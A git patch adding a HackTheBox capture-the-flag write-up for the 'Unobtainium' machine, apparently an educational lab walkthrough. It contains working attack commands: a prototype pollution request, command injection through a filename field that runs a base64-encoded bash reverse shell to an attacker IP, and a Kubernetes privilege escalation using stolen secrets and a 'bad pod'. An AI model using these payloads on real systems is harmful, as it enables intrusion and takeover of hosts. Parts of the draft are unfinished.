From fc90ba0698bd88eeffe86fad5cc69471662e4e04 Mon Sep 17 00:00:00 2001
From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com>
Date: Sun, 5 Sep 2021 01:17:24 +0500
Subject: [PATCH] Add files via upload
---
HackTheBox/Unobtainium.md | 407 ++++++++++++++++++++++++++++++++++++++
1 file changed, 407 insertions(+)
create mode 100644 HackTheBox/Unobtainium.md
diff --git a/HackTheBox/Unobtainium.md b/HackTheBox/Unobtainium.md
new file mode 100644
index 0000000..b2a8a93
--- /dev/null
+++ b/HackTheBox/Unobtainium.md
@@ -0,0 +1,407 @@
+# HackTheBox-Unobtainium
+
+## NMAP
+
+```bash
+PORT STATE SERVICE REASON VERSION
+22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
+80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
+| http-methods:
+|_ Supported Methods: POST OPTIONS HEAD GET
+|_http-server-header: Apache/2.4.41 (Ubuntu)
+|_http-title: Unobtainium
+2379/tcp open ssl/etcd-client? syn-ack ttl 63
+|_ssl-date: TLS randomness does not represent time
+| tls-alpn:
+|_ h2
+| tls-nextprotoneg:
+|_ h2
+2380/tcp open ssl/etcd-server? syn-ack ttl 63
+|_ssl-date: TLS randomness does not represent time
+| tls-alpn:
+|_ h2
+| tls-nextprotoneg:
+|_ h2
+8443/tcp open ssl/https-alt syn-ack ttl 63
+| fingerprint-strings:
+| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
+| HTTP/1.1 400 Bad Request
+| Content-Type: text/plain; charset=utf-8
+| Connection: close
+| Request
+| GetRequest:
+| HTTP/1.0 403 Forbidden
+| Cache-Control: no-cache, private
+| Content-Type: application/json
+| X-Content-Type-Options: nosniff
+| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
+| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
+| Date: Wed, 04 Aug 2021 08:17:15 GMT
+| Content-Length: 185
+| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason
+":"Forbidden","details":{},"code":403}
+| HTTPOptions:
+| HTTP/1.0 403 Forbidden
+| Cache-Control: no-cache, private
+| Content-Type: application/json
+| X-Content-Type-Options: nosniff
+| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
+| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
+| Date: Wed, 04 Aug 2021 08:17:16 GMT
+| Content-Length: 189
+|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","re
+ason":"Forbidden","details":{},"code":403}
+|_http-title: Site doesn't have a title (application/json).
+| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
+| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.sv
+c, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
+| Issuer: commonName=minikubeCA
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha256WithRSAEncryption
+| Not valid before: 2021-07-25T14:52:45
+10249/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
+|_http-title: Site doesn't have a title (text/plain; charset=utf-8)
+10250/tcp open ssl/http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
+|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
+| ssl-cert: Subject: commonName=unobtainium@1610865428
+| Subject Alternative Name: DNS:unobtainium
+| Issuer: commonName=unobtainium-ca@1610865428
+| Public Key type: rsa
+| Public Key bits: 2048
+| Signature Algorithm: sha256WithRSAEncryption
+| Not valid before: 2021-01-17T05:37:08
+| Not valid after: 2022-01-17T05:37:08
+10256/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
+|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
+31337/tcp open http syn-ack ttl 62 Node.js Express framework
+| http-methods:
+| Supported Methods: GET HEAD PUT DELETE POST OPTIONS
+|_ Potentially risky methods: PUT DELETE
+|_http-title: Site doesn't have a title (application/json; charset=utf-8).
+38233/tcp filtered unknown no-response
+
+```
+
+We can see a lot of ports from the nmap scan , the ports that are of our interest is port 80 and port 8443 on which kuberentes is running , kubernetes is used for container orchestration which is manager of running number of docker containers , monitioring and managing them. So first I'll enumerate the webserver on port 80
+
+## PORT 80 (HTTP)
+
+On port 80 we can see a simlple HTML template on which we have options to download a chat application what is called `Unobtainium`.
+
+
+
+After downloading the debain file we can install it on our linux machine or we could unizp it to read the source code , on extracting , it looks like it's made using `electron` which is an open source framework for building deskop based application using javascript.
+
+
+
+We can see a folder named `resources` and in that folder there's a file named `app.asar` which is an archive used to package source code for an application using `Electron`. We can extract the files from it using `npx`
+
+https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file
+
+
+
+
+
+We can find some creds from `app.js`
+
+
+
+Now installing the .deb package with `apt install ./unobtainium_1.0.0_amd64.deb` we can use the `unobtanium` binary also make sure to add `unobtanium.htb` in /etc/hosts file as it's making requests to that domain name.
+
+
+
+We can send messages through this application and it logs those messages
+
+
+
+So using `wireshark` we can analyze how it's making a POST request
+
+
+
+Right click on `/todo` packet and follow TCP stream
+
+
+
+From the terminal we can do a POST request like this
+
+```bash
+ curl --header "Content-Type: application/json" \
+ --request POST \
+ --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' \
+ http://unobtainium.htb:31337/todo
+```
+
+
+
+Let's try to grab `index.js`
+
+
+
+Notice that the contents of index.js are different so to get a clear picture save this response in a bash scipt file like this
+
+```bash
+echo -e 'respone'
+
+```
+
+Here `-e` will interpret those `\n` as new line character
+
+
+
+Here we can see a library is being used `google-cloudstorage-commands` which is vulnerable to command injection
+
+
+
+https://snyk.io/test/npm/google-cloudstorage-commands/0.0.1
+
+Also we can upload files through a POST request `/upload`
+
+
+
+So to get a reverse shell we need to first `echo` the base64 encoded bash reverse shell , pipe that to decode it and run it by piping it to bash
+
+
+
+
+
+
+```
+curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/ --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
+
+```
+
+Insert porotype pollution explaination , report and screenshot
+
+
+bash -i >& /dev/tcp/10.10.14.45/2222 0>&1
+
+```bash
+curl --header "Content-Type: application/json" \
+ --request POST \
+ --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40NS8yMjIyIDA+JjE=' |base64 -d|bash"}' \
+ http://unobtainium.htb:31337/upload
+```
+
+
+
+Now to enumerate docker containers , we need to see if it's in a network of containers since we saw that kubernetes is being used. To check if there are other containers we can do a nmap scan , since the container doens't have one we can use static nmap binary and host it on our machine and download it through `wget` as it's avaiable on docker container. Prior to this I did try pining other hosts and it turns out there 10 hosts , from 172.17.0.1 to 172.17.0.10.
+
+
+
+I used the static nmap binary to do all port scan for 10 hosts .
+
+
+## 172.17.0.1
+
+```
+Host is up (0.000022s latency).
+Not shown: 65529 closed ports
+PORT STATE SERVICE
+22/tcp open ssh
+80/tcp open http
+8443/tcp open unknown
+10250/tcp open unknown
+10256/tcp open unknown
+31337/tcp open unknown
+
+```
+
+## 172.17.0.2
+
+```
+Host is up (0.000033s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+5000/tcp open unknown
+
+```
+
+## 172.17.0.4
+```
+Host is up (0.000017s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+
+```
+
+## 172.17.0.5
+```
+Host is up (0.000051s latency).
+Not shown: 65531 closed ports
+PORT STATE SERVICE
+53/tcp open domain
+8080/tcp open http-alt
+8181/tcp open unknown
+9153/tcp open unknown
+```
+
+## 172.17.0.6
+
+```
+Host is up (0.000025s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+
+```
+
+## 172.17.0.7
+
+```
+Host is up (0.000025s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+```
+
+
+## 172.17.0.8
+
+```
+Host is up (0.000025s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+
+```
+
+## 172.17.0.9
+
+```
+Host is up (0.000025s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+
+```
+
+## 172.17.0.10
+
+```
+Host is up (0.000025s latency).
+Not shown: 65534 closed ports
+PORT STATE SERVICE
+3000/tcp open unknown
+
+```
+
+Now we cannot do anything here unless we upload `kubectl` binary on the docker container , kubectl is a command line tool for interacting with kubernetest cluster from which you can deploy clusters , monitor and manage them , view logs or access namespaces.
+
+
+
+After transferring `kubetcl` we can use the command `get pods` , a pod is a resource in which a container runs , usually one container runs in a pod , think pod as a wrapper around a docker container
+
+
+
+We don't have permission to view it , let's view `namespaces` , in kubernetes namespaces are used to organize `clusters` into groups or into a category where as clusters are collection or set tof nodes (docker conatiners) that are used to run an application. So let's try to view namespaces through `kubectl`
+
+
+
+Here we see 5 namespaces out of which `default` , `kube-public` and `kube-system` . Default is for or objects with no other namespace, kube-public is used for public resources and kube-system is for objects created by the kubernetes system. We can't access them if we want to
+
+
+
+Here I used `-n` which will specifiy which namespace we want to get information of , but we can't these namespaces, only `dev` namespace can be accessed here
+
+
+
+We have 3 pods running in `dev` namespace , to get information of a pod in this namespace we can use this command
+
+` ./kubectl get -o json pod devnode-deployment-cd86fb5c-6ms8d -n dev`
+
+
+
+It has an exposed port which is 3000 as we saw from the nmap scan so this means it will be runnning the same API server from which we can get a rev shell again , now let's look for it's IP
+
+
+
+
+
+I got the rev shell again so that I could have to shells on the docker container , as I need a rev shell on the docker container again and I don't want to do port forwarding
+
+
+
+I transferred static binary of `ncat` on docker container
+
+https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
+
+
+
+```
+curl -X PUT -H 'Content-Type: application/json' http://172.17.0.10:3000 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}'
+
+
+```
+
+```
+curl --header "Content-Type: application/json" \
+ --request POST \
+ --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC40LzIyMjIgMD4mMQ==' |base64 -d|bash"}' \
+ http://172.17.0.10:3000/upload
+
+ ```
+
+ Doing those steps again still I couldn't get a shell back
+
+
+
+ Now we really need to do portforwarding as this doesn't work on docker container , so we'll have to use `chisel` for port forwarding
+
+
+
+
+
+ Here I am have started a chisel server on port 2222 and on the client I am port forwarding the port 3000 from the target 172.17.0.10 and mappning it on port 3000 on my machine
+
+
+
+
+
+ This doesn't have a `user.txt` flag which means we are on a different docker container, also if we try to see if `kubectl` exists or not
+
+
+
+ Again we need to transfer that binary in this container
+
+
+
+
+
+ From this container we can't get even `namespaces` but using `kubectl get secrets -n kube-system` we can get secrets. A `secret` is an object that contains a small amount of sensitive data such as a password, a token, or a key with which we have ability to modify or create pods in namespace
+
+
+
+ We can get information of the secret through `/kubectl describe secret c-admin-token-tfmp2 -n kube-system`
+
+
+
+ Reffering to this article
+https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation
+
+We can create what is called `Bad Pods` that can give you root access to the host system if you have compromised kuberneteres secretes which have so we can try to make a bad pod
+
+https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
+
+I'll be using this yaml file for creating a pod but the problem is that we can't download the image , in this yaml file it is set to `ubuntu` as this machine doesn't have internet access it can't really download the image
+
+
+
+But going back to the information we pulled from the pod in `dev` namespace we can use the image name `localhost:5000/node_server`
+
+
+
+
+
+https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
+
+For this to work we need to supply the token other wise pod won't be created
+
+
+
+On our netcat we would get a reverse shell but it will get terminated as a pod clean up script is being ran
+
+
+
+
\ No newline at end of file